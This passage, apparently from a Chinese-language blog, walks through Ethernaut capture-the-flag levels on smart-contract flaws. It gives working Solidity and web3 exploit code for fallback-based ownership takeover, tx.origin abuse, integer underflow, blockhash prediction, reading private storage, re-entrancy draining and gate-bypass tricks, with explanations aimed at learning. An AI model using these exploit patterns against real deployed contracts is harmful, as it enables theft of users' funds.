class="line">contract.authenticate('ethernaut0')</span><br></pre></td></tr></table></figure>
<p>点击Submit instance,第一关over。</p>
<p>关键:</p>
<ul>
<li>contract.functionName() 调用合约函数</li>
<li>contract.abi 查看函数接口</li>
</ul>
<h2 id="Fallback"><a href="#Fallback" class="headerlink" title="Fallback"></a>Fallback</h2><p>通关要求:</p>
<ul>
<li><p>获得合约所有权</p>
</li>
<li><p>将合余额减少为0</p>
</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">//withdraw函数是只能由合约拥有者才能访问的,功能是取出合约内部全部资金</span><br><span class="line"> function withdraw() public onlyOwner {</span><br><span class="line"> owner.transfer(this.balance);</span><br><span class="line"> }</span><br><span class="line">//fallback函数,获得合约所有权</span><br><span class="line"> function() payable public {</span><br><span class="line"> require(msg.value > 0 && contributions[msg.sender] > 0);</span><br><span class="line"> owner = msg.sender;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">//保证在执行fallBack函数时,能通过contributions[msg.sender] > 0的校验</span><br><span class="line">contract.contribute({value:1}) </span><br><span class="line">//通过转账调用fallback函数。</span><br><span class="line">contract.sendTransaction({value:1})</span><br><span class="line">//将合约中的钱,全部收入囊中。</span><br><span class="line">contract.withdraw()</span><br></pre></td></tr></table></figure>
<p>关键:</p>
<ul>
<li>fallback函数:<ul>
<li>没有名字,不能有参数,没有返回值</li>
<li>当调用的函数找不到时,就会调用默认的fallback函数 </li>
<li>当我们使用<code>address.send(ether to send)</code>向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数 </li>
</ul>
</li>
</ul>
<h2 id="Fallout"><a href="#Fallout" class="headerlink" title="Fallout"></a>Fallout</h2><p>通过要求:</p>
<ul>
<li>获取合约所有权</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/* constructor */</span><br><span class="line">function Fal1out() public payable {</span><br><span class="line"> owner = msg.sender;</span><br><span class="line"> allocations[owner] = msg.value;</span><br><span class="line">}</span><br><span class="line">//具有误导作用的constructor,仔细看会发现该函数并非构造函数,其名字中有个1</span><br></pre></td></tr></table></figure>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">contract.Fal1out()</span><br></pre></td></tr></table></figure>
<p>就是这么简单!</p>
<p>关键:</p>
<ul>
<li>构造函数<ul>
<li>0.4.22之前的版本 使用合约名来作为构造函数 function Fallout(){}</li>
<li>在0.4.22版本以及之后版本,构造函数使用 constructor() public{ }来定义</li>
<li>使用function定义构造函数,如果函数名出错,会导致本应是构造函数的函数变成一般函数,从而导致用户意外调用该函数,造成严重后果</li>
</ul>
</li>
</ul>
<p>危害详情见:<a href="https://paper.seebug.org/630/" target="_blank" rel="noopener">从以太坊”MorphToken事件”看智能合约构造函数大小写编码错误漏洞</a></p>
<h2 id="Coin-Flip"><a href="#Coin-Flip" class="headerlink" title="Coin Flip"></a>Coin Flip</h2><p>通关条件:</p>
<ul>
<li>连续猜对10次硬币翻转结果</li>
</ul>
<p>很明显,直接调用函数去猜测成功率接近0,所以我们需要使用合约来获取结果,然后将正确结果传入题目合约。</p>
<p>解题:</p>
<p>POC1(抄的大佬的,2333333)</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity >=0.4.18 <0.6.0;</span><br><span class="line"></span><br><span class="line">import "./CoinFlip.sol";</span><br><span class="line"></span><br><span class="line">contract CoinFlipPoc {</span><br><span class="line"> CoinFlip expFlip;</span><br><span class="line"> uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;</span><br><span class="line"> </span><br><span class="line"> constructor (address aimAddr) public {</span><br><span class="line"> expFlip = CoinFlip(aimAddr);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function hack() public {</span><br><span class="line"> uint256 blockValue = uint256(blockhash(block.number-1));</span><br><span class="line"> uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);</span><br><span class="line"> bool guess = coinFlip == 1 ? true : false;</span><br><span class="line"> expFlip.flip(guess);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>SafeMath.sol的一个GitHub地址:<br><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol" target="_blank" rel="noopener">https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol</a></p>
<p>直接复制一份题目源码,新建一个名为CoinFlip.sol的文字,粘贴进去。</p>
<p>需要注意的就是solidity版本,有些SafeMath.sol使用的是0.5.0版本,所以需要修改一下CoinFlip.sol中的版本。</p>
<p>由于每次猜测都做了if (lastHash == blockValue) 判断,所以我们猜测一次后需要等到新区块生成后进行下一次猜测,不能使用for循环进行自动猜测。</p>
<p>POC2(给大佬跪了,还是抄的)</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">let blockHash = function() {</span><br><span class="line"> return new Promise(</span><br><span class="line"> (resolve, reject) => web3.eth.getBlock('latest', (error, result) => {</span><br><span class="line"> if(!error)</span><br><span class="line"> resolve(result['hash']);</span><br><span class="line"> else</span><br><span class="line"> reject(error);</span><br><span class="line"> })</span><br><span class="line"> );</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract.flip(parseInt((await blockHash())[2], 16) > 8)</span><br></pre></td></tr></table></figure>
<p>这种方式就不需要再去部署合约,直接在控制面版进行操作!妙啊!这就是大佬和我的区别啊!</p>
<p>使用 contract.consecutiveWins() 可以查看连胜次数。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">contract.consecutiveWins()</span><br><span class="line"> Promise {<pending>}</span><br><span class="line"> __proto__: Promise</span><br><span class="line"> [[PromiseStatus]]: "resolved"</span><br><span class="line"> [[PromiseValue]]: t</span><br><span class="line"> c: [5] //此处数字代表猜对次数</span><br><span class="line"> e: 0</span><br><span class="line"> s: 1</span><br><span class="line"> __proto__: Object</span><br></pre></td></tr></table></figure>
<p>关键:</p>
<ul>
<li>block.blockhash (function(uint) returns (bytes32)):指定块的哈希值—— 仅可用于最新的 256 个区块且不包括当前区块 <ul>
<li>0.4.22 版本开始已不推荐使用 ,由 blockhash(uint blockNumber) 代替</li>
</ul>
</li>
</ul>
<h2 id="Telephone"><a href="#Telephone" class="headerlink" title="Telephone"></a>Telephone</h2><p>通关条件:</p>
<ul>
<li>获得合约所有权</li>
</ul>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">if (tx.origin != msg.sender) {</span><br><span class="line"> owner = _owner;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>由上面代码可以知道,获取所有权很简单,只要tx.origin不等于msg.sender就行。</p>
<p>简单来说就是我们调用一个合约,在由这个合约来调用题目合约。</p>
<p>POC(一个字,抄!)</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity >=0.4.18 <0.6.0;</span><br><span class="line"></span><br><span class="line">import "./Telephone.sol";</span><br><span class="line"></span><br><span class="line">contract TelephonePoc {</span><br><span class="line"> </span><br><span class="line"> Telephone phone;</span><br><span class="line"> </span><br><span class="line"> function TelephonePoc(address aimAddr) public {</span><br><span class="line"> phone = Telephone(aimAddr);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function attack(address _owner) public{</span><br><span class="line"> phone.changeOwner(_owner);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>关键:</p>
<ul>
<li>tx.origin & msg.sender<ul>
<li>使用tx.origin的所有者永远不可能是一个合约</li>
<li>使用msg.sender的所有者可能是一个合约</li>
<li>在D -> C -> B -> A 的简单调用链上,D为tx.origin,而B为msg.sender</li>
</ul>
</li>
<li>可能导致钓鱼攻击</li>
</ul>
<h2 id="Token"><a href="#Token" class="headerlink" title="Token"></a>Token</h2><p>通关条件:</p>
<ul>
<li>获取超乎想象的token</li>
</ul>
<p>uint类型,没有使用SafeMath,存在溢出漏洞。</p>
<p>初始状态有20个token,向外发送21个token,即可触发向下溢出漏洞。</p>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">contract.transfer(_address,21)</span><br><span class="line">//随便填一个地址,只要不是自己的就行</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">(await contract.balanceOf(player)).toNumber() </span><br><span class="line">//查看player的token余额</span><br></pre></td></tr></table></figure>
<p>关键:</p>
<ul>
<li>溢出漏洞<ul>
<li>加法溢出</li>
<li>减法溢出</li>
<li>乘法溢出</li>
<li>使用SafeMath避免溢出漏洞</li>
</ul>
</li>
</ul>
<h2 id="Delegation"><a href="#Delegation" class="headerlink" title="Delegation"></a>Delegation</h2><p>通关条件:</p>
<ul>
<li> 获取合约所有权</li>
</ul>
<p> 起初以为只要把 pwn() 作为data传给Delegation就可以让它的fallback函数调用Delegate的pwn函数,事实证明,我还是too young,too simple!</p>
<p>然鹅,大佬是这样操作的:web3.sha3(“pwn()”).slice(0,10)。</p>
<p>思考了都没有结果,Google也没找到原因。</p>
<p>直到看到官方文档中的:</p>
<blockquote>
<p> solidity官方文档</p>
<p> 一个函数调用数据的前 4 字节,指定了要调用的函数。这就是某个函数签名的 Keccak(SHA-3)哈希的前 4 字节(高位在左的大端序)(译注:这里的“高位在左的大端序“,指最高位字节存储在最低位地址上的一种串行化编码方式,即高位字节在左) </p>
</blockquote>
<p> 这才明白了web3.sha3(“pwn()”).slice(0,10)这一连串操作是在干什么。(果然还是我太菜了!)</p>
<p> 经过sha3加密的pwn()变成了一串16进制数,它的前4个字节就能代表pwn()这个函数,又由于前两个字符是0x,且16进制一位就是4位,所以4个字节等于32位,我们需要的字符数就是8+2=10,所以使用slice(0,10)来截取前10个字符,去掉0x,就是我们需要的函数签名的sha-3的前四字节。</p>
<p> 将这个字节通过data传给合约,即可实现调用pwn(),完成!</p>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">//sha3的返回值前两个为0x,所以要切0-10个字符。</span><br><span class="line">contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});</span><br></pre></td></tr></table></figure>
<p>关键:</p>
<ul>
<li>1个字节=8位=16进制中的2个字符</li>
<li>ABI说明文档中规定,一个函数调用数据的前4字节,指定了要调用的函数。</li>
</ul>
<h2 id="Force"><a href="#Force" class="headerlink" title="Force"></a>Force</h2><p>通关目标:</p>
<ul>
<li> 使合约余额大于0</li>
</ul>
<p> 通过观察可以发现,题目合约中代码真可爱!(其实就是啥都没有!)</p>
<p> 这个时候就要复习一下向合约发送ether的方法了</p>
<ul>
<li><p>调用payable标识的函数:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.0;</span><br><span class="line">contract supportPay{</span><br><span class="line"> function deposit() payable{</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">//直接调用deposit()</span><br><span class="line">//通过address.call(某个方法).value(要发送的ether)来实现的</span><br></pre></td></tr></table></figure>
</li>
</ul>
<ul>
<li><p>使用send直接向某地址转账: address.send(ether to send)</p>
</li>
<li><p>利用selfdestruct将自身所有ether发送给目标地址: selfdestruct(address); </p>
<p>因为目标合约没有任何能够接收ether的函数,所以我们只能强制将ether传入合约。</p>
</li>
</ul>
<p>Poc:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.18;</span><br><span class="line"></span><br><span class="line">contract Force {</span><br><span class="line"> function Force() payable public { </span><br><span class="line"> }</span><br><span class="line"> function ForceSendEther(address _addr) payable public{</span><br><span class="line"> selfdestruct(_addr);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>实际上不止这一种方法,还有:</p>
<ul>
<li>创建前预先发送ether</li>
<li>为其挖矿</li>
</ul>
<p>关键:</p>
<p> 强制发送ether的集中方式:</p>
<ul>
<li>通过自毁</li>
<li>创建前预先发送ether</li>
<li>挖矿</li>
</ul>
<h2 id="Vault"><a href="#Vault" class="headerlink" title="Vault"></a>Vault</h2><p>通关条件:</p>
<ul>
<li>解锁保险库</li>
</ul>
<p> 查看源码可以发现调用 unlock函数并且输入正确的密码即可解锁。</p>
<p> 由于合约中的所有内容对用户来说都是可见的,所以密码也应该是我们能访问到的。</p>
<p> 下面是大佬们的POC。</p>
<p> Poc1:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">web3.eth.getStorageAt(contract.address, 1, function(x, y){alert(web3.toAscii(y))});</span><br></pre></td></tr></table></figure>
<p> Poc2:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">function getStorageAt (address, idx) {</span><br><span class="line"> return new Promise (function (resolve, reject) {</span><br><span class="line"> web3.eth.getStorageAt(address, idx, function (error, result) {</span><br><span class="line"> if (error) {</span><br><span class="line"> reject(error);</span><br><span class="line"> } else {</span><br><span class="line"> resolve(result);</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line">})}</span><br><span class="line"></span><br><span class="line">await getStorageAt(instance, 1);</span><br></pre></td></tr></table></figure>
<p> 然后我们就可以得到密码: ”A very strong secret password :)“ </p>
<p>解题:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">contract.unlock("A very strong secret password :)")</span><br></pre></td></tr></table></figure>
<p> 通关后可以看到一些有用的信息</p>
<blockquote>
<p>重要的是要记住,将变量标记为私有只会阻止其他合同访问它。标记为私有变量和局部变量的状态变量仍可公开访问。</p>
<p>为了确保数据是私有的,在将数据放入区块链之前需要对其进行加密。在这种情况下,解密密钥绝不应该在链上发送,因为寻找密钥的任何人都可以看到它。<a href="https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/" target="_blank" rel="noopener">zk-SNARK</a>提供了一种确定某人是否拥有秘密参数的方法,而不必揭露该参数。</p>
</blockquote>
<p>关键:</p>
<ul>
<li>将变量标记为私有只会阻止其他合同访问它。标记为私有变量和局部变量的状态变量仍可公开访问。</li>
</ul>
<h2 id="King"><a href="#King" class="headerlink" title="King"></a>King</h2><p>通关条件:</p>
<ul>
<li>发送比当前奖金还大的ether成为King</li>
<li>提交实例后,保证King的身份不被收回</li>
</ul>
<p> 第一个条件:成为king</p>
<p> 我们可以通过向合约发送1.1 ether 来获取King的位置</p>
<p> 第二个条件:保证位置不被收回</p>
<p> 收回King的时候,只要抛出异常,不让合约成功调用fallback函数就可以实现</p>
<p>Poc:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.18;</span><br><span class="line"></span><br><span class="line">contract KingPoc {</span><br><span class="line"> </span><br><span class="line"> function KingPoc() payable {}</span><br><span class="line"> </span><br><span class="line"> address instance_address = 0x63c97a345c05de5f415d0fc5bdfa75bded2c5cfe;</span><br><span class="line"> </span><br><span class="line"> function hack() public {</span><br><span class="line"> instance_address.call.value(1.1 ether)();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function () public {</span><br><span class="line"> revert();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>如果你以为到这就完了,那你肯定和我一样,吃惊的发现</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">*!@#(*&(@!(#*&(*$&!@#(*&(%@)#$(!@)#(*!@)(#@!(*^#(&()%*)#@(*!@)#(*& </span><br><span class="line">(╯°□°)--︻╦╤─ - - - Oops! Looks like you haven't cracked this level just yet (╯°□°)--︻╦╤─ - - - </span><br><span class="line">*&@#$(*!@_#)(+!@)_*$(@!$_)&*&%!@#$_)@(#_)@_)#(@(#)&(*$^#*&%^#$)(#@</span><br></pre></td></tr></table></figure>
<p> 经过一番折腾(大佬的WP),最终发现gas不够!!加加加!闭着眼睛按0,测试网络不缺ether!</p>
<p> 更多Out of gas的相关信息,看大佬的文章:<a href="https://www.jianshu.com/p/56aa08444b33" target="_blank" rel="noopener">[solidity合约审计 - Out of gas的处理办法]</a></p>
<p>关键:</p>
<ul>
<li>out of gas问题</li>
<li>revert()的使用</li>
</ul>
<h2 id="Re-entrancy"><a href="#Re-entrancy" class="headerlink" title="Re-entrancy"></a>Re-entrancy</h2><p>通关条件:</p>
<ul>
<li>获取合约中所有资金</li>
</ul>
<p> 这关的漏洞有个很大的事件——THE DAO黑客事件,可以在搜索引擎上了解了解,这次事件导致了以太坊的分叉——一次充满争议的决策。</p>
<p>Poc:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.18;</span><br><span class="line"></span><br><span class="line">contract Reentrance {</span><br><span class="line"></span><br><span class="line"> mapping(address => uint) public balances;</span><br><span class="line"></span><br><span class="line"> function donate(address _to) public payable;</span><br><span class="line"> function balanceOf(address _who) public view returns (uint balance);</span><br><span class="line"> function withdraw(uint _amount) public;</span><br><span class="line"> function() public payable {}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract ReentrancePoc {</span><br><span class="line"></span><br><span class="line"> Reentrance reInstance;</span><br><span class="line"> </span><br><span class="line"> function getEther() public {</span><br><span class="line"> msg.sender.transfer(address(this).balance);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function ReentrancePoc(address _addr) public{</span><br><span class="line"> reInstance = Reentrance(_addr);</span><br><span class="line"> }</span><br><span class="line"> function callDonate() public payable{</span><br><span class="line"> reInstance.donate.value(msg.value)(this);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function attack() public {</span><br><span class="line"> reInstance.withdraw(1 ether);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function() public payable {</span><br><span class="line"> if(address(reInstance).balance >= 1 ether){</span><br><span class="line"> reInstance.withdraw(1 ether);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 在这一关中,存在问题的主要重入攻击,通过构造一个恶意合约,在恶意合约的fallback函数中在次调用withdraw函数,反复执行取钱操作,知道题目合约余额为0。</p>
<p> 在上面的Poc中,我们先使用callDonate存入一笔资金以满足调用withdraw的条件,这里需要注意的是在Remix中调用callDonate之前需要修改value为1 ether。</p>
<p><img src="/2019/11/09/Ethernaut%20WriteUp/img7.png" alt="img7"></p>
<p> 就是这里卡了我很久,因为对Remix使用的不熟悉,起初以为只有在部署合约的时候才会修改value的值,没有想过在函数调用的时候也需要用到。</p>
<p> 除了这个问题,还有一个很大的问题,就是 OOG问题 ,即Out of gas。 在本地测试不会遇到。这是因为默认的Gas设置不能满足重入的需求,可以手动修改gas的量。 </p>
<p><img src="/2019/11/09/Ethernaut%20WriteUp/img8.png" alt="img8"></p>
<p>大佬还注意到了一个额外的问题:</p>
<blockquote>
<p> 顺便一提,本体其实还有整数下溢的问题。 </p>
</blockquote>
<p> <code>await getBalance(contract.address)</code>查看合约总余额。为0,则代表通关。 </p>
<p>关键:</p>
<ul>
<li>out of gas 问题</li>
<li>Remix的使用</li>
<li>THE DAO事件</li>
<li>重入漏洞</li>
</ul>
<h2 id="Elevator"><a href="#Elevator" class="headerlink" title="Elevator"></a>Elevator</h2><p>通关条件:</p>
<ul>
<li>到达电梯顶部</li>
</ul>
<p>Poc:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.18;</span><br><span class="line"></span><br><span class="line">contract Elevator {</span><br><span class="line"> bool public top;</span><br><span class="line"> uint public floor;</span><br><span class="line"></span><br><span class="line"> function goTo(uint _floor) public;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract BuildingPoc {</span><br><span class="line"></span><br><span class="line"> Elevator ele;</span><br><span class="line"> bool t = true;</span><br><span class="line"></span><br><span class="line"> function isLastFloor(uint) view public returns (bool){</span><br><span class="line"> t = !t;</span><br><span class="line"> return t;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function attack(address _addr) public{</span><br><span class="line"> ele = Elevator(_addr);</span><br><span class="line"> ele.goTo(5);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 简单分析一下:</p>
<p> 题目中给出了一个接口Building,其中有一个isLastFloor函数,而合约Elevator中我们能调用的只有goTo函数。bool类型的top变量代表了是否到达顶层,要通过我们就需要将top赋予true,而在goTo函数中,top = building.isLastFloor(floor),我们只要能将isLastFloor的返回值变为true即可通关。isLastFloor总共有两次返回值,只要第一次返回false,第二次返回true即可。</p>
<p> 通过以后,题目给出了另一个解决办法:构建一个视图函数。例如 gasleft()</p>
<p> 暂时还没想到该怎么利用,待更新··· ···</p>
<p>关键:</p>
<ul>
<li>函数即使被修饰了pure、view等修饰符,虽然会有警告,但还是可以修改状态变量的。 </li>
</ul>
<h2 id="Privacy"><a href="#Privacy" class="headerlink" title="Privacy"></a>Privacy</h2><p>通关条件:</p>
<ul>
<li>解锁合约</li>
</ul>
<p>第一种方式是大佬的:</p>
<p> 直接使用web3 api的 web3.eth.getStorageAt</p>
<p>Poc:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">web3.eth.getStorageAt(<span class="string">"0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0"</span>, <span class="number">0</span>,<span class="function"><span class="keyword">function</span>(<span class="params">x,y</span>)</span>{<span class="built_in">console</span>.info(y);})</span><br><span class="line"><span class="number">0x000000000000000000000000000000000000000000000000000000d80cff0a01</span></span><br><span class="line">web3.eth.getStorageAt(<span class="string">"0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0"</span>, <span class="number">1</span>,<span class="function"><span class="keyword">function</span>(<span class="params">x,y</span>)</span>{<span class="built_in">console</span>.info(y);})</span><br><span class="line"><span class="number">0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359</span></span><br><span class="line">web3.eth.getStorageAt(<span class="string">"0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0"</span>, <span class="number">2</span>,<span class="function"><span class="keyword">function</span>(<span class="params">x,y</span>)</span>{<span class="built_in">console</span>.info(y);})</span><br><span class="line"><span class="number">0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668</span></span><br><span class="line">web3.eth.getStorageAt(<span class="string">"0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0"</span>, <span class="number">3</span>,<span class="function"><span class="keyword">function</span>(<span class="params">x,y</span>)</span>{<span class="built_in">console</span>.info(y);})</span><br><span class="line"><span class="number">0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93</span></span><br><span class="line">web3.eth.getStorageAt(<span class="string">"0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0"</span>, <span class="number">4</span>,<span class="function"><span class="keyword">function</span>(<span class="params">x,y</span>)</span>{<span class="built_in">console</span>.info(y);})</span><br><span class="line"><span class="number">0x0000000000000000000000000000000000000000000000000000000000000000</span></span><br></pre></td></tr></table></figure>
<p>大佬的分析:</p>
<blockquote>
<p>根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。<br>那么我们简单分析下题目中的变量们:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">bool public locked = <span class="literal">true</span>; <span class="comment">//1 字节 01</span></span><br><span class="line">uint256 public constant ID = block.timestamp; <span class="comment">//32 字节</span></span><br><span class="line">uint8 private flattening = <span class="number">10</span>; <span class="comment">//1 字节 0a</span></span><br><span class="line">uint8 private denomination = <span class="number">255</span>;<span class="comment">//1 字节 ff</span></span><br><span class="line">uint16 private awkwardness = uint16(now);<span class="comment">//2 字节</span></span><br><span class="line"></span><br><span class="line">bytes32[<span class="number">3</span>] private data;</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>那么第一个 32 字节就是由<code>locked</code>、<code>flattening</code>、<code>denomination</code>、<code>awkwardness</code>组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。<br>那么 data[2] 就是<code>0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93</code>,<br>注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。<br>执行 unlock 即可。</p>
</blockquote>
<p>执行:contract.unlock(‘0xd42c0162aa0829887dbd2741259c97ca’)</p>
<p>over!</p>
<p><a href="https://www.anquanke.com/post/id/148341#h2-12" target="_blank" rel="noopener">Zeppelin Ethernaut writeup</a></p>
<p>上面那篇文章使用的是contract.unlock(web3.toAscii(‘0xd42c0162aa0829887dbd2741259c97ca’)),不知道为什么会出现 ”ALERT: 交易出错. 合约代码执行异常. “错误,看啥时候能解决这个问题吧。</p>
<p>关键:</p>
<ul>
<li>使用web3.getStorageAt读取指定地址数据</li>
<li>evm每次处理32字节</li>
<li>根据 Solidity 优化规则,当变量所占空间小于 32 字节时,会与后面的变量共享空间,如果加上后面的变量也不超过 32 字节的话。 </li>
<li>常量无需存储 </li>
<li>使用了slice切割字符</li>
</ul>
<h2 id="Gatekeeper-One"><a href="#Gatekeeper-One" class="headerlink" title="Gatekeeper One"></a>Gatekeeper One</h2><p>通关条件:</p>
<ul>
<li>满足gateOne、gateTwo、gateThree的所有条件42</li>
</ul>
<p> gateOne只要满足msg.sender != tx.origin即可,相信通过前面的关卡这时小菜一碟,只需要创建一个新合约,在合约内部再去调用题目合约即可。</p>
<p> gateTwo折磨了我很久很久,总是过不了,看了大佬的POC和分析还是过不了,最后才发现是自己的理解能力不够(太菜了)。gateTwo只要满足进行mod运算时的gas是8191的整数倍即可。</p>
<p> 在Remix中可以利用debug功能来确定gas应该传入多少,如下图所示,现在本地测试网络进行测试:</p>
<p><img src="/2019/11/09/Ethernaut%20WriteUp/img1.png" alt="img1"></p>
<p> 然后调用attack进行debug:</p>
<p><img src="/2019/11/09/Ethernaut%20WriteUp/img2.png" alt="img2"></p>
<p> 在很多大佬的writeUp中所讲的走到DUP2这里, remaining gas应该是8191的整数倍。我开始也是这样的做的,但是这样计算出来的gas就和大佬们的不一样,在本地测试网络中能够跑通,在题目环境中就没办法跑通,这个困扰了我很长一段时间。后来才知道能够在Etherscan上查看每一步的gas消耗,如下图所示:</p>
<p>查看地址: <a href="https://ropsten.etherscan.io/vmtrace?txhash=0xff4a3aed71c20cfe9109403040d1e7f4cd9d77d62dc8cd3205066c3ca5e565c0" target="_blank" rel="noopener">https://ropsten.etherscan.io/vmtrace?txhash=0xff4a3aed71c20cfe9109403040d1e7f4cd9d77d62dc8cd3205066c3ca5e565c0</a> (将txhash后的交易hash改为自己的即可)</p>
<p><img src="/2019/11/09/Ethernaut%20WriteUp/img3.png" alt="img3"></p>
<p> 在查看了gas消耗情况之后发现,本地显示的gas和这里显示的有所区别,本地能够跑通的在这里会无法满足,在走到DUP2这一步时不是8191的整数倍。而满足了这里的整数倍的数据,在本地发现跑不通了,这个问题暂时不知道是什么情况,目前了解还是太少了,等日后有能力再来解决吧。</p>
<p> 接下来是gateThree,gateThree有三个条件:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">uint32(_gateKey) == uint16(_gateKey)</span><br><span class="line">uint32(_gateKey) != uint64(_gateKey)</span><br><span class="line">uint32(_gateKey) == uint16(tx.origin)</span><br></pre></td></tr></table></figure>
<p> 无符号整型可以转换成跟它大小相等或更大的字节类型,但反之不能 。</p>
<p> 要满足第三个条件只需要_gatekey的前4字节全为0,后4字节为tx.origin的最后4字节,拿我的地址 0x2eb4081c419d1890eb0Af97ce5A9689Cad2fe3da 为例,构造一个0x0000e3da即可,这样可以发现同时满足了第一个条件。</p>
<p> 还剩第二个条件,uint32(_gatekey)在与uint64进行比较时会由0x0000e3da转换为0x000000000000e3da,要使二者不相等只要gatekey的前半部分不为全0即可,我构造的是:0xFFFFFFFF0000733c(最后四个字节必须改为自己地址的最后4位)。</p>
<p> 于是最终的Poc:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">pragma solidity ^0.4.18;</span><br><span class="line"></span><br><span class="line">contract GatekeeperOne {</span><br><span class="line"></span><br><span class="line"> address public entrant;</span><br><span class="line"></span><br><span class="line"> modifier gateOne() {</span><br><span class="line"> require(msg.sender != tx.origin);</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier gateTwo() {</span><br><span class="line"> require(msg.gas % 8191 == 0);</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier gateThree(bytes8 _gateKey) {</span><br><span class="line"> require(uint32(_gateKey) == uint16(_gateKey));</span><br><span class="line"> require(uint32(_gateKey) != uint64(_gateKey));</span><br><span class="line"> require(uint32(_gateKey) == uint16(tx.origin));</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {</span><br><span class="line"> entrant = tx.origin;</span><br><span class="line"> return true;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract GatekeeperOnePoc {</span><br><span class="line"> </span><br><span class="line"> GatekeeperOne one;</span><br><span class="line"> </span><br><span class="line"> function GatekeeperOnePoc(address _addr) public{</span><br><span class="line"> one = GatekeeperOne(_addr);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function attack() public{</span><br><span class="line"> one.call.gas(819315)(bytes4(keccak256("enter(bytes8)")), bytes8(0xFFFFFFFF0000733c));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 我们可以通过await contract.entrant()来查看是否完成了通关条件,如果完成,返回值应该是你自己的地址。</p>
<p>关键:</p>
<ul>
<li>debug的使用</li>
<li>etherscan gas消耗详情的查看</li>
<li>uint比较的方式</li>
<li>call对gas的控制以及函数的调用</li>
</ul>
